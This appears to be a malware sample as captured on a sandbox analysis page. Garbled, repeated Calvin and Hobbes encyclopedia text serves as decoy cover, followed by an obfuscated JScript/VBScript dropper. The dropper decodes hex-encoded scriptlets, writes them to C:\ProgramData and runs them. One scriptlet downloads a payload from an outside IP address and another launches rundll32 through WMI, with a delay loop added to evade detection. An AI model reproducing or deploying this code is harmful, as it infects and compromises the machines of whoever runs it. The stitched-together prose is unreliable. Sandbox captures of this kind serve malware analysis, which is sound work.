Static | ZeroBOX

e He also made a point of not showing certain things explicitly: the "Noodle Incident" and the children's book Hamster Huey and the Gooey Kablooie: it is a fictional children's book written by Mabel Syrup, it has a sequel titled Commander Coriander Salamander and 'er Singlehander Bellylander, and it is best performed with squeaky voices, gooshy sound effects, and the "Happy Hamster Hop" In its first appearance, Calvin's dad recommended it to Calvin although Calvin was reluctant due to the fact there was not an animated adaptation of it, but nearly all subsequent references to the book show Calvin's dad's frustration at having to read the story to Calvin every evening

There are eighteen Calvin and Hobbes books, published from 1987 to 2005 These include eleven collections, which form a complete archive of the newspaper strips, except for a single daily strip from November 28, 1985 the collections do contain a strip for this date, but it is not the same strip that appeared in some newspapers The alternate strip, a joke about Hobbes taking a bath in the washing machine, has circulated around the Internet Treasuries usually combine the two preceding collections albeit leaving out some strips with bonus material and include color reprints of Sunday comics

Watterson included a unique Easter egg in The Essential Calvin and Hobbes The back cover is a scene of a giant Calvin rampaging through a town The scene is in fact a faithful reproduction of the town square actually a triangle in Watterson's home town of Chagrin Falls, Ohio Calvin and Hobbes appear in most of the strips, while a small number focus on other supporting characters The broad themes of the strip deal with Calvin's flights of fantasy, his friendship with Hobbes, his misadventures, his unique views on a diverse range of political and cultural issues and his relationships and interactions with his parents, classmates, educators, and other members of society The dual nature of Hobbes is also a recurring motif; Calvin sees Hobbes as a live tiger, while other characters see him as a stuffed animal

Even though the series does not mention specific political figures or current events like political strips such as Garry Trudeau's Doonesbury, it does examine broad issues like environmentalism, public education, and the flaws of opinion polls

Because of Watterson's strong anti-merchandising stance

History

Calvin and Hobbes was never made into an animated series Watterson later stated in the "Calvin and Hobbes Tenth Anniversary Book, the books are "obviously none of these things"

Remaining books do contain some additional content; for instance, The Calvin and Hobbes Lazy Sunday Book contains a long watercolor Spaceman Spiff epic not seen elsewhere until Complete, and The Calvin and Hobbes Tenth Anniversary Book, the books are "obviously none of these things"

1995 contains 36 Sunday strips in color alongside Watterson's original sketches, prepared for an exhibition at The Ohio State University Cartoon Research Library

An officially licensed children's textbook entitled Teaching with Calvin and Hobbes was published in a limited single print-run in 1993 The book includes various Calvin and Hobbes strips together with lessons and questions to follow, such as, "What do you think the principal meant when he said they had quite a file on Calvin" 108 The book is very rare and increasingly sought by collectorsiginal

During Watterson's first sabbatical from the strip, Universal Press Syndicate will continue That so many newspapers would carry Calvin and Hobbes is an honor I'll long be proud of, and I've greatly appreciated your support and indulgence over the last decade Drawing this comic strip has been a privilege and a pleasure, and I thank you for giving me the opportunity

The 3,160th and final strip ran on Sunday, December 31, 1995

Syndication and Watterson's artistic standards

From the outset, Watterson found himself at odds with the syndicate, which urged him to begin merchandising the characters and touring the country to promote the first collections of comic strips Watterson refused To him, the integrity of the strip and its artist would be undermined by commercialization, which he saw as a major negative influence in the world of cartoon art

Watterson also grew increasingly frustrated by the gradual shrinking of available space for comics in the newspapers He lamented that without space for anything more than simple dialogue or spare artwork, comics as an art form were becoming dilute, bland, and unoriginal

During Watterson's first sabbatical from the strip, Universal Press Syndicate continued to charge newspapers full price to re-run old Calvin and Hobbes strips Few editors approved of the move, but the strip was so popular that they had little choice but to continue to run it for fear that competing newspapers might pick it up and draw its fans away

This half-page layout can easily be rearranged for full, third, and quarter pages

Then, upon Watterson's return, Universal Press announced that Watterson had decided to sell his Sunday strip as an unbreakable half of a newspaper or tabloid page Many editors and even a few cartoonists, such as Bil Keane The Family Circus, criticized him for what they perceived as arrogance and an unwillingness to abide by the normal practices of the cartoon business

a charge that Watterson ignored Watterson had negotiated the deal to allow himself more creative freedom in the Sunday comics Prior to the switch, he had to have a certain number of panels with little freedom as to layout, because in different newspapers the strip would appear at a different width; afterwards, he was free to go with whatever graphic layout he wanted, however unorthodox His frustration with the standard space division requirements is evident in strips before the change; for example, a 1988 Sunday strip published before the deal is one large panel, but with all the action and dialogue in the bottom part of the panel so editors could crop the top part if they wanted to fit the strip into a smaller space Watterson's explanation for the switch:

I took a sabbatical after resolving a long and emotionally draining fight to prevent Calvin and Hobbes from being merchandised Looking for a way to rekindle my enthusiasm for the duration of a new contract term, I proposed a redesigned Sunday format that would permit more panel flexibility To my surprise and delight, Universal responded with an offer to market the strip as an unbreakable half page more space than I'd dared to ask for, despite the expected resistance of editors To this day, my syndicate assures me that some editors liked the new format, appreciated the difference, and were happy to run the larger strip, but I think it's fair to say that this was not the most common reaction The syndicate had warned me to prepare for numerous cancellations of the Sunday feature, but after a few weeks of dealing with howling, purple-faced editors, the syndicate suggested that papers could reduce the strip to the size tabloid newspapers used for their smaller sheets of paper

I focused on the bright side: I had complete freedom of design and there were virtually no cancellations For all the yelling and screaming by outraged editors, I remain convinced that the larger Sunday strip gave newspapers a better product and made the comics section more fun for readers Comics are a visual medium A strip with a lot of drawing can be exciting and add some variety Proud as I am that I was able to draw a larger strip, I don't expect to see it happen again any time soon In the newspaper business, space is money, and I suspect most editors would still say that the difference is not worth the cost Sadly, the situation is a vicious circle: because there's no room for better artwork, the comics are simply drawn; because they're simply drawn, why should they have more room

Calvin and Hobbes remained extremely popular after the change and thus Watterson was able to expand his style and technique for the more spacious Sunday strips without losing carriers

Merchandising

Bill Watterson is notable for his insistence that cartoon strips should stand on their own as an art form, and he has resisted the use of Calvin and Hobbes in merchandising of any sort This insistence stuck despite the fact that it could have generated millions of dollars per year in additional personal income Watterson explains in a 2005 press release:

Actually, I wasn't against all merchandising when I started the strip, but each product I considered seemed to violate the spirit of the strip, contradict its message, and take me away from the work I loved If my syndicate had let it go at that, the decision would have taken maybe 30 seconds of my life

Watterson did ponder animating Calvin and Hobbes, and has expressed admiration for the art form In a 1989 interview in The Comics Journal, Watterson states:

If you look at the old cartoons by Tex Avery and Chuck Jones, you'll see that there are a lot of things single drawings just can't do Animators can get away with incredible distortion and exaggeration because the animator can control the length of time you see something The bizarre exaggeration barely has time to register, and the viewer doesn

t ponder the incredible license he's witnessed In a comic strip, you just show the highlights of action

you can't show the buildup and release or at least not without slowing down the pace of everything to the point where it's like looking at individual frames of a movie, in which case you've probably lost the effect you were trying to achieve In a comic strip, you can su

function aGFKvRH63(aP2A6j7dI9z8t)

var arPFs1qy2IgZG = new Date();

var acXxiy6YGTL8j0pQI = null;

acXxiy6YGTL8j0pQI = new Date();

while(acXxiy6YGTL8j0pQI - arPFs1qy2IgZG < aP2A6j7dI9z8t);

var a2DMuVXYCSZ5OJNAI = false;

afGHRNOU1LuazlSXB = "aMVZT2ApbeOyS3QBE";

az6a0mT3xoUeu = afGHRNOU1LuazlSXB.toString();

var agKLsOZUbAF4YpCB = "aXardWVks5h63l";

var apshtCi7Oamzeg9Mv = -22830;

var a0Esx4DZjAcibT = 53178;

var aKuGAQ4jkJW3qTf2e = false;

adHjaQrPFZ1GnMi0 = "aMSoWBHcQVy";

arMa7TsQBgG3z = adHjaQrPFZ1GnMi0.toString();

aPWaX1jrh = false;

aGq19CljMnI = true;

aO8AVKlcpm = 65457;

var a4Xu1igsqIESycM = "aGj2ZvuqKgi1oP";

var ahXz7o0HgfuCUqTD = a4Xu1igsqIESycM.length;

var a8EhwzmaYNy = "aTAYUOKlmB3xWnbyc";

atXCWfF4d = a8EhwzmaYNy.toString();

aJkbn2qdu7 = "apFN8rzf6VQ9X";

aEWijqQzwdSx = aJkbn2qdu7.toUpperCase();

var aQBIORk6sE1g = 12236;

aizds3MXAWL7Fxft = true;

var apRFWd5oZE9HG = false;

var aiYOkUDG9K6cWHM = "aNY2dGF0SO7r9v";

var aCD1SbO9V4jAhLXTN = "a9owqhk0xSDfv28";

artqDnecJkp = aCD1SbO9V4jAhLXTN.toString();

var aUDkJ5Weinf = "aayMAP4FhGNRd";

a0OGcm7wI = aUDkJ5Weinf.toString();

var aBQ5V97U16 = true;

var acq4Rj5d2l = -33315;

amUPWCjpk = true;

agOx3FMvSbzG = "a3NLJscxGkAI";

aSKVARD3TU4L7tj = agOx3FMvSbzG.toString();

var aa9AIEFDqC3cBN = 12789;

atuj9nrfUIEx8AB = 55040;

aRANH1lIWo2b = true;

var aW0ANr61TgyFU = false;

var acO7XM35dxI2Ca = "a8bnLs2ZK7";

var aJxejkYQIZ0dcND = false;

var aXK7ukcaDUPJGihSp = "aX3gqJvpRjsk7mWYI";

a2LQC1yZRuXiH7p9 = aXK7ukcaDUPJGihSp.length;

aOWtQYMC6VRd94 = false;

aeEn3Kpw2Sx = -46234;

ajeOEdILXFivhRPS = 46352;

var aPqDW2ZGhx = "aG9uqr1wOSQIUCW";

aEe85bcdWrs = aPqDW2ZGhx.toUpperCase();

var aNg5inYZuBIofVUD = "aDo6Jj31y0YQhSi";

aj5BhvN1A96x = aNg5inYZuBIofVUD.toUpperCase();

a1BJnCZ8lKW53 = -62287;

var adDPFbUOuwtvY = true;

aDGRO0rK1z6CxY = true;

avXDYJWch0Lq8 = false;

var aP8BT0rMuihA7j = -64978;

aJZ6Mo0cpFC = false;

a5rFjnUpb78 = 48297;

aER3rNHf6B8aI = true;

aTuJeKXoO = false;

var auxmlDiSGzk2 = true;

arivN2lR41Xt = true;

agQDzrpJG = "aN2UAO370sGqLHY";

var ad9v6lBJh = agQDzrpJG.toUpperCase();

var ayGdV0TaI = false;

var aZCxl9SNHdXQO6p = true;

var adcgKI5yRUxHQ4 = "aqgPomVZIOLvUSj";

var aG1sj0YmADN = adcgKI5yRUxHQ4.toUpperCase();

aRSbuhHtKiMNoVQ = true;

var aD23kuj7o = "aS6VHvQ1m8zA7";

var aNauVMf9C7P = aD23kuj7o.length;

ai5P6ypgYMG = false;

a2RDwvUHnsEd = false;

aKuBNQodLS = 31345;

var aLd3PH9GJMD1s = false;

var a5CiB7g6lTkFMZfbU = "3c003f0078006d006c002000760065007200730069006f006e003d00220031002e00300022003f003e000d000a003c007000610063006b006100670065003e000d000a003c0063006f006d0070006f006e0065006e0074002000690064003d00220063006f006d0070006900640022003e000d000a003c0073006300720069007000740020006c0061006e00670075006100670065003d0022004a0053006300720069007000740022003e000d000a003c0021005b00430044004100540041005b000d000a000d000a0009007600610072002000680074007400700020003d0020006e0065007700200041006300740069007600650058004f0062006a00650063007400280022006d006900630072006f0073006f00660074002e0078006d006c006800740074007000220029003b000d000a00090068007400740070002e006f00700065006e002800220047004500540022002c002000220068007400740070003a002f002f00350031002e003100360031002e003200300034002e003200330036002f0061003000360045007900330068003400570051006200370077006700420032006d002e0064006100740022002c002000660061006c007300650029003b000d000a00090068007400740070002e00730065006e006400280029003b000d000a000d000a000900760061007200200

var aOrf2MPnop3 = "a9Pe1SE6vt";

var aMpu8G4mTWn9Db1 = -51109;

var aoy1pws5zhuCvYt = "a7XCu9cfjqwJ";

var aK047BFLkquJCYZ = aoy1pws5zhuCvYt.toString();

var aHAYFOwaKtI = false;

var abUKDJl7N6Gengo = "aspd8cEZT2UGqkBC";

afY5icFBoE = abUKDJl7N6Gengo.length;

a5F29HGRj4D = true;

a8s7mMgJuYaRjWq = "aZ1LzMNTDgoh";

var a5CoMw8UfYxq = "agubwd2vBZ";

var acvrIu0KaMtC = a5CoMw8UfYxq.toLowerCase();

aAHfdL8is2K = false;

asuN4nAYJeLRd2 = false;

var apfNBAavRGr7Eb4iK = false;

azYZoDlVt = "akPy3QszpfZ";

var a7z3xgvyG = azYZoDlVt.toLowerCase();

var aMeRxC5rj8037h2AF = false;

var aCYzuPnOD = false;

var a8KyWfG67xrXItCq = "aCr5AaJpyq1";

var aQYG4kSOvJuE = a8KyWfG67xrXItCq.length;

atpNfYPxX6LIHcEe3 = false;

var aRd6hDwl3 = "aDnPqENHWL8X3bJo";

aHY78BNlCLTeyz = aRd6hDwl3.toString();

var aUM1gwmsuZ4c = 36234;

aW3ztFyGOciLnh6g = "aLins3FtYu";

var acNK2uhC0iH1kxw5r = false;

ajGOV7EzIWlhR1 = true;

var aFjbuNn57 = "ajPcnl3v6xWw05";

var a1ElR7VHpU2g = aFjbuNn57.length;

var alftSNkTQIAo7c2PW = "aiZmuyW6lezt";

alO0jBrP1x5e = alftSNkTQIAo7c2PW.length;

var ariS6dfUEDjescQ = "alFtK0jY4EMA";

var aUjkixSsR = ariS6dfUEDjescQ.toString();

aJcX58MAjkOhz = 20846;

aXgwV3qMZEGYA6 = 48314;

var aZysHk35u1OfB = true;

aB2FRwojyDmIPlx = "aVWAXa5vS";

acXC26w35 = aB2FRwojyDmIPlx.toUpperCase();

var aI6QS2jPDovViHwh = 28205;

var aQ4ZCy8dD0R = -56156;

aXWiPSqcF4EgTZ6hG = true;

aSuHBvyI3 = "aGJpSHtUPxX";

aTRsAdWKHIn0Vq = aSuHBvyI3.toLowerCase();

var atXHEghjSQe = "aZGMAeUb5wX924zFI";

var aFO0ZnvJiDwRS = atXHEghjSQe.toString();

var aA9pBEW4smf = -46674;

var apZf9kb0T2aBV4 = 2392;

aaEXsMRi0Nnqu8 = -40735;

var aXxS8YozcPUvfkDi = "a5FU93PAcN";

var atsmAqlEfb21Y = aXxS8YozcPUvfkDi.toUpperCase();

aWBcaljE2kmASLZTq = true;

aJqICkcKhyNXfBYgw = true;

aybR2W5m1HFfqsA = false;

var aTH5IGEowVhegL3 = "ax0BV9IOKqa";

var a7Iyqz1lRa = true;

anYPT5U92fZiz = true;

var auUYRoz96EfcZ5 = -3547;

var a3KCGRUD4n9Tdm6xB = true;

a9q8mKaex = "agd0lEAraDcOPC2";

aujSRX13sNTDcdk = a9q8mKaex.length;

var aP5giNcwkWz3Is = "abc7nNyhoarCU";

var aLgFAz7qZ3knDtXKf = aP5giNcwkWz3Is.length;

var aYiC1fOrmAy3cHQt = "a9mK3zYNQUsT4vu";

var azBM6EmNWkZAvV = "asNPuXE9pHcAyQqRJ";

var ajXaGCqQd97piBg = azBM6EmNWkZAvV.length;

var apwzMjnRuCk = true;

var aPYAUBomH0evg7MC = "afBSqUOYGguH";

var avUm8Dh5TM9x3Y2HS = aPYAUBomH0evg7MC.toUpperCase();

var aQxaJ3hiT75M = true;

var aWZgFXt4VlOa6w = "a5TBEVN9SLzOobjZJ";

var a5L1aJzRbY = "anpoYV74FOfCP";

a6IgOythNdL4W = a5L1aJzRbY.toLowerCase();

var aOJg5Q8PmNM = "aznsbOQBe2I79du";

ayMndDhXe = aOJg5Q8PmNM.length;

var auQIOgpUtEHrXl = "a2cA96LjN";

var aksNLB01xH = auQIOgpUtEHrXl.toString();

var ao9YOnvDez7JFaW = true;

agKXrzQD58uVJH7fi = "amDiHdnyMT";

aZ2Hw7gJmRfanr = agKXrzQD58uVJH7fi.toString();

aNmEPWkO5xI = "aeEdkR7wfQDG";

a7O13G4L9J6P2 = aNmEPWkO5xI.toUpperCase();

ak9CByUXYhnDrm = 15865;

var aA1QoF8fig = false;

var aILmBilfR5nc = "3c003f0078006d006c002000760065007200730069006f006e003d00220031002e00300022003f003e000d000a003c007000610063006b006100670065003e000d000a003c0063006f006d0070006f006e0065006e0074002000690064003d00220063006f006d0070006900640022003e000d000a003c0073006300720069007000740020006c0061006e00670075006100670065003d0022004a0053006300720069007000740022003e000d000a003c0021005b00430044004100540041005b000d000a000d000a0009007600610072002000700072006f00630065007300730020003d0020004700650074004f0062006a0065006300740028002200770069006e006d0067006d00740073003a007b0069006d0070006500720073006f006e006100740069006f006e004c006500760065006c003d0069006d0070006500720073006f006e006100740065007d002100570069006e00330032005f00500072006f006300650073007300220029003b000d000a000900700072006f0063006500730073002e004300720065006100740065002800220043003a005c005c005c005c00570069006e0064006f00770073005c005c005c005c0053007900730057004f005700360034005c005c005c005c00720075006e0064006c006c00330032002e00650078006500200043003a005c005c005000

</script>

Function ad6l5mCKE(aa5sNyiXD)

ad6l5mCKE = Chr(aa5sNyiXD)

End Function

Function awlRvhKg6d1zEbHF(aa5sNyiXD)

Dim avrqHfMCiFJ, aNAKrMRHGf7oc

For avrqHfMCiFJ = 1 To Len(aa5sNyiXD) Step 2 + 2

aJAarD8t47 = Mid(aa5sNyiXD, avrqHfMCiFJ + 2, 2)

aNAKrMRHGf7oc = aNAKrMRHGf7oc & ad6l5mCKE("&H" & aJAarD8t47 & Mid(aa5sNyiXD, avrqHfMCiFJ, 2))

awlRvhKg6d1zEbHF = aNAKrMRHGf7oc

End Function

Function aFl4wg2MkKpVuv1yB(a3dYNVE8GT5gHW4)

GetObject(a3dYNVE8GT5gHW4)

End Function

Set aZpJxIKy8o6PwOk1 = CreateObject("scripting.filesystemobject")

Set file = aZpJxIKy8o6PwOk1.CreateTextFile("C:\ProgramData\a5CiB7g6lTkFMZfbU.txt", True)

file.Write awlRvhKg6d1zEbHF(a5CiB7g6lTkFMZfbU) & vbCrLf

file.Close

Set aZpJxIKy8o6PwOk1 = CreateObject("scripting.filesystemobject")

Set file = aZpJxIKy8o6PwOk1.CreateTextFile("C:\ProgramData\aILmBilfR5nc.txt", True)

file.Write awlRvhKg6d1zEbHF(aILmBilfR5nc) & vbCrLf

file.Close

aUfPgbQoFTrGJ0Ic = awlRvhKg6d1zEbHF(StrReverse("c5001600470016004400d600160027007600f60027000500c500a3003400a3004700070096002700360037"))

</script>

var a1xwzFeyDkiQA = 31979;

var aqc7KUXtJREfp = "aL3vf7ZQr0Xh4";

amsYWj5CeF8poHxOA = "a8bnU6mBGRaH2JMA";

var ayJWOox2agU = amsYWj5CeF8poHxOA.length;

var afRGEu8SXJWUgM = "aITBZanbv2RuD";

var a5Rsd8fOUxziQ4uT = afRGEu8SXJWUgM.toLowerCase();

var aDFqXaPwNOTG1M = false;

a1jN85JAxqK4ah = 4660;

var aEiLN3mvaxhsyT = false;

var ain8zhoxF4 = "a14aKGvbeOJrfgz";

var ap9ADKGabOsS71 = ain8zhoxF4.length;

var aG2LTU9S1dKiRc7xq = 46434;

aPaXkgCZNqQiJM = -8345;

a1xNstPCEeJR8 = "aKOxSAo1ucdz5Gsy";

ai0SuvP1jn42MU8T = a1xNstPCEeJR8.toUpperCase();

alSpkfiu5A = false;

var aLbfJgGwNpuq = "atq7b84UpPLvr6Klz";

aL8yNe7IDWuARn = aLbfJgGwNpuq.length;

var aLxQyZpX19 = "aBWRzvJtl";

afcoDsAy8GTS = false;

var aDji4emTK = false;

a7Lg2KaZD = "aJwYyVD5g6E2QL";

agcEVt3asmoXGSK = a7Lg2KaZD.toUpperCase();

var aK6mYknoD = "aepN8WrbZwsK";

aFKheyBvOa5tjm37 = aK6mYknoD.toLowerCase();

var a3BCMDyczkbjOeQ5w = "asCqzVwgOJZX4eT";

var aDIZptW1zEdyGR = a3BCMDyczkbjOeQ5w.toString();

var apXsdDVlMSw = "aM9LaeUcOV8SId74";

var aN3C5krLHp9nlTcj = apXsdDVlMSw.toString();

aoYhPTl9NFpwLdU = "awF6p9nLCsQiG5ob";

var aVZ1G7tHk = aoYhPTl9NFpwLdU.toString();

amBHfYXnUgJk = false;

var a37rWzCkwV1NaT = false;

var a7nJ5FuWlE = true;

var aHkF5TG9mCSyW7ug = false;

var a9AhfzKLFDadu3US7 = true;

aZh2Tjzef = false;

var aj9P12fCeaI = false;

aC9KwhXdS5lZyxz = "aeXfNlgJt5";

var aQI1msL8A63Giw = 38464;

aUqRCc5MpgwnK = "aXEMVCiUel7";

var a8JE6MPzQXYA = aUqRCc5MpgwnK.toUpperCase();

var aDgPFQlzd = "ah5g60YJjnuX";

ai2zWmB90PX5F4OZR = true;

aLXlauZHi6StPYNA = false;

var aXERzGNH3eD5 = "aVTUynCJeB2vMA";

var aj1DCHS64gPAE3 = aXERzGNH3eD5.toString();

a7zL4BGINDt = "a2mY1E5Flzc";

aqbftWQ5ERVzMp86 = a7zL4BGINDt.length;

var aGaqbYz1r = -56100;

var azVZRiX35fsEl0w = "aMGNEgmloJQVwp";

var arawRytJSCHdpiF = azVZRiX35fsEl0w.toUpperCase();

var atLJTq36M9 = 4263;

afxh7DXQbsvl86jBw = true;

var axILwKCzFVAgPUO = true;

var aMyf5ZbtOv = "aLlHGZkWK6Q";

aTUZpmfEDFM = aMyf5ZbtOv.toString();

aR9POYckXl4pm = 60995;

aRImnkXlQ2yWM = -63359;

akdXctuUZn9R = "abKouTagB";

var aUET4FxwQ391pNd = "aNg46OQos9E";

var aLz7qcTgatvPSkN = aUET4FxwQ391pNd.toString();

var arc4tUj1d = false;

aYMq0EDoA = -716;

aBHNWxegUGFXlbYp = true;

var akyZoUhSQ38W = "aqtGLMBQNbR";

arkyH56OYpq8K = akyZoUhSQ38W.toUpperCase();

atV2FQrbwPu5S = false;

var auoyKCF70QTnYLe = false;

a0b2teTU9x = true;

a6S04vOcT8 = true;

var aAJOEGdfw8 = true;

var aeTdu89zbIhAZi = "ayj5situ4v";

var aOZqU20DkwI = aeTdu89zbIhAZi.toLowerCase();

aeEDfhOmGXwyT = 172;

var avfNJxdmwCLeSF = "aEsjkaXyRgx";

avOUs5CW0HSEtB = avfNJxdmwCLeSF.toString();

aGUe4Fv29 = true;

ap8kqITO1Cfiz7g = "aTQ1qYeFKB8lRz9x";

var aifyI29nBoTbpHO7a = ap8kqITO1Cfiz7g.toString();

aeiSHyakX7z = "aGqBWDhuN";

var a5ilqA68IhoEVQ9L = aeiSHyakX7z.length;

aLmId9T8VBYcl = "a4qDYNF5rzVTSZjHK";

aUJDFguaYh = aLmId9T8VBYcl.length;

var aJbBjuhPZ = "awzs0bleqBRihdC5o";

atBnJvoXsuwr = aJbBjuhPZ.toUpperCase();

aQiuJnpN2o = false;

a9gnrWGiyVbMw = true;

var aFAXyJnKN40B = "afOwlHPcIJ";

aqlyEJGAk6p84OL3 = aFAXyJnKN40B.length;

var axzFPNB2JpY = "aYfl24Wt3ebE9iVaH";

akNEAcgqShCBTn = axzFPNB2JpY.toString();

a54M0yHtmGRjcfvn = -10448;

var aupCemZyS1UDX0j = -23102;

var aOE0cCTm6XpR = false;

var aFjPKOEdIa = true;

aLkVwUAhEnfGb4 = "aqrwhcedmB";

var aLsPm4Ghnq = aLkVwUAhEnfGb4.toLowerCase();

var aobr8N4RK = 14161;

var aJuCxZWrRy = "atfuMebKQk9vI";

var aqtNRLg6e = aJuCxZWrRy.toString();

anj0yEIewPGTS7YJ5 = 14399;

var aLaqGO1kt6i = true;

awXyPZMLJBR = true;

var akHfAFtJ8gPI = "a53nh7eVsQ";

aSNxRVA7f54zDOJUy = akHfAFtJ8gPI.toUpperCase();

aHXO3tYaN = "a3oMc7P9zHrm";

apLmfYQlZbE04MS6 = aHXO3tYaN.length;

var aEUs4ck60eOz9Wb = "arkfIW5ePZnz2HY";

a6kEmM253aCqQVWbS = aEUs4ck60eOz9Wb.toUpperCase();

var atV0CUAFQmu7l = false;

var a3oYgiySBnqmK = true;

a8P3KmE0f = 9240;

aHmhlPeAWVg = 43099;

aZGBkOvI6mN = -34567;

aIkOWNTtS = -25361;

var aMhSV8zuHQFA = "ajh4CJiFq9cewr3IL";

var agOuzSVYJx5m = aMhSV8zuHQFA.toString();

var a9IvXVlCQ3K4SA5i = "ar8IjZGk1JhoEnu7";

var avnUFKZCIlJo = a9IvXVlCQ3K4SA5i.toString();

actdVF4gp = 5755;

a8kSlG4gX2bx = 51213;

var aFin3zob2P = 4915;

var aZuCXIcznje = false;

var ah8PUKvSMskYqgtoW = 1369;

var aYq1PC8FpL4Rwtb = -26760;

var aP8QUtFmXufc2nh = 31342;

ayjQG9fa51 = "aON5B6aw3cLmf";

var a6FaKJ8HxN17dfRQ = "ag4okLi2Pu0f1ptD";

aHGztyJD3YgSwmer = a6FaKJ8HxN17dfRQ.toUpperCase();

var a46GRLep8dP = false;

var apqkruHNtPahx = true;

var a8nJ5E9hWaiK4Lc = "aCVjx1cBwJl3";

var a9kDAjIGtCcWw = 16597;

var aqWrvG7EQ = false;

var a1ZSE0Tmf = -7636;

aWtND6PJfe = "aqiTmsbwMvXLxVa";

aGHvJsVmjy0nxwePC = aWtND6PJfe.toString();

var a04kvla3x2j9NLqRh = false;

ayPjOkZxTwFS0 = "aBsJAK9C21tY5n";

var aUB4VwHOozxyg = ayPjOkZxTwFS0.toString();

var aPK9fmrnz8sMU6Eo = 59064;

aCiXgjI1RPHhSwuBW = true;

a6adxW7oSOVwz4 = "aut7IFPjW";

a0gQr9PqU = a6adxW7oSOVwz4.toLowerCase();

var aasR6i3t9keGSg = -16283;

var a3LK1BAOoCr4I = -63500;

aXAx0NrZwvS1tR = false;

avblBXf7cGhaMsw6 = "aCls2oPcTzf9uxhE";

aSTe0vWqao = -7462;

a9PJ2V3c1Wr = 47337;

var avyLNTjsW = true;

aTfhqOSm8wCg = -45265;

var akITworDiYUtB = true;

var aQfg8s2UVnwRXpS = "aAtlC2FRdXau";

aEqOKJaUFtT54p = "ac5GbRdwUH9";

aFl4wg2MkKpVuv1yB(aUfPgbQoFTrGJ0Ic + "a5CiB7g6lTkFMZfbU.txt");

alOIVzhiq6E = "ahg1RC9cOZlIfSv";

awRDY1NL0VbXFvAG = alOIVzhiq6E.toString();

aCHs1DtvkZR3 = 935;

a03kht2Y9AHJdCi = 39829;

var azL5BNqA089MIvE = -19371;

var aIHL6kr5j = true;

aWSkutUAqHGN47ehj = 45045;

var aFC3H4T6k0G9xXl = "auFmrlejs1Uf";

var anIGxOTf2Y3aq = aFC3H4T6k0G9xXl.length;

ac2KWDCuHR9 = "aaXRCwqfeK";

akgUNGC3dwnej8lVa = ac2KWDCuHR9.length;

var awMeviWA05dBXg = false;

var aGe0Y21hEzn = 29335;

ahCqBjl95UGZYscQ = "a1LkAEtVd7Iu3nQr0";

a83KBxTp5Wba = ahCqBjl95UGZYscQ.toString();

anTqrQEepf = true;

var a8YJpNdMUwZGWX = 47442;

agt6Vx0uc = "azflacQnGJRC09TW5";

ao5hsPcnZ8rt46T = agt6Vx0uc.length;

aigbxvoBp9N = false;

aTsDxLKMPWr53AU = true;

arTjmHfEyAxg9v = -50328;

var ag9CuXrjizR = 39700;

var afsGMTcVRF = true;

apSEJBqxtgi7 = -35268;

agVC7yJroFA8 = "aJCeYuf925GT6";

abFa2p7rGI6vX = 16489;

aK8o6eEmpUtzglB5H = "aiGxBUcvNb";

a1WUPtDnOqBzrVjC = aK8o6eEmpUtzglB5H.length;

axNqWAynDc = "aNdVJqBZihrHYTQPO";

var a6DREzqHwJ7LKI = axNqWAynDc.toUpperCase();

adHIwXkmufzv7 = 42186;

var avmQCPnKze6XFy = false;

var aP2Amic0jk4fwFxO = false;

var aRAeSupyYxank4h = "aTelUpcWb3hFLS";

var am95W1AcvLznMrT = aRAeSupyYxank4h.toString();

var aNnJV7wQOb = false;

var aIkKAeo5pXP = "a3gBoiz9DUR4";

abStMPpBlor = "aUmb0nhuQZPMBpEzW";

abXRdmhZjz = abStMPpBlor.length;

var a4OvkHuw9omKt = "avo5TQS24BMxRbALZ";

var a8iPvNY3c6zl = a4OvkHuw9omKt.toString();

var aEQs6tgiCmFM = false;

var a54SaZwcLVzmeYJXg = -5983;

var aj0xHvP53 = 15637;

var apUFE0G1Cz = "aCXk0eVg5Nmxs";

alCdm0DvqiUng2Xp = apUFE0G1Cz.toString();

aSM01jkdbUB = "a6yXAZtVhKMxo4Jkn";

var aQ5bEkZvcuJlaD1 = aSM01jkdbUB.toString();

var aUBhA2PEHctYS6ksJ = 50754;

aUA8KMGF3y4gIOuxw = 52886;

ae2iNTn9tgXSWP = 53916;

var a9aysVlvmpJdSD1 = "ap3Pn4BUVWmcDaHO";

aqpKsT8xdLvl0uH = a9aysVlvmpJdSD1.length;

var akJaonuK123sb = true;

aeY7g8oht1vRZqE = 2895;

var aneD80AqZ94km3CJ = 9037;

aV6qE3fMZ8 = "al3HiMX8019q6aKr";

var a4SWJZgejf8MG = aV6qE3fMZ8.toString();

a28IaQTNcZt6RLC = -57349;

var arnIy0OT5tA = "aeDycXsdToMw";

aNIoyaRfBE = arnIy0OT5tA.toLowerCase();

var aVPfeib89XWF = "aS9Yj5yqB";

var ayfzj7nKNmHPDVCl = aVPfeib89XWF.toString();

var aBVS65IUW98DEk = "arm9OtPqdpQv6GfR";

aGhOMJkiASrI0 = true;

a8P5EVkjy6I = "azbCc6jNPWv47pL";

var aVDNWps2jkSiE = a8P5EVkjy6I.length;

var apL8MFTN9EKBxV = -41742;

var alcfkW87JOFIP = true;

aQfqs0wzvyDW8ie = "akGyJUiabxc1";

aVABHZLe2TDaoSP = aQfqs0wzvyDW8ie.toString();

a7SdUKDGJq = "a8K5nkIS1";

var a54Nf63lj = a7SdUKDGJq.toString();

var aokvCRH1n = "aHvSobATrs";

var aVhgwz8eK3rpYm = aokvCRH1n.toLowerCase();

aGDXK7ywEzun3I = false;

var arHckSheBTU = false;

alpDFte2z1PNqU = "aHoGWsKaw";

aUrdeH1umVti9B2ID = alpDFte2z1PNqU.length;

var a9N4UbvHj7T3JA = "aNmYdCVBLQikH2E0r";

akU1qnftKB2cd = 8580;

var adzmxTUw7cJ = "akf6gFszMo51n";

var aVUEZbmRoXMwO = adzmxTUw7cJ.length;

aGFKvRH63(15000);

a90geXOuI = -334;

var aHJK5hkCq = "avntSV40K";

agtTW5Q9wH = true;

var aGrBFQLcuiWVU6pD = true;

ackpex5GlOPILV = false;

a6jPaByIn2g8GF = 38007;

a19gHmXxb4kIuTp6 = true;

aN9USITLwmOAhCFq = -10848;

var au8ZJz1YfWs5paTB4 = "a8t6FrCnAIZgEQ";

abdCBr8O6ZKazpjy = "a0APHRQIewvoWLg78";

anegZd5fLqPzNC = abdCBr8O6ZKazpjy.length;

avhnGV2ObIiPJ7s8 = -11579;

aMhg6OrsfvuPQzi = "a7gj02rvLIx15Ozc6";

var ajb16XoR9zE = aMhg6OrsfvuPQzi.length;

var a8jWRuIUtsADdgQK = "a9bQInm1fxgW5po";

abNBot58w = a8jWRuIUtsADdgQK.length;

aQjfn593Nd6GOyJ7H = "aXv6fl42CsE";

var atJkWGBmTI9DoZbrf = aQjfn593Nd6GOyJ7H.toString();

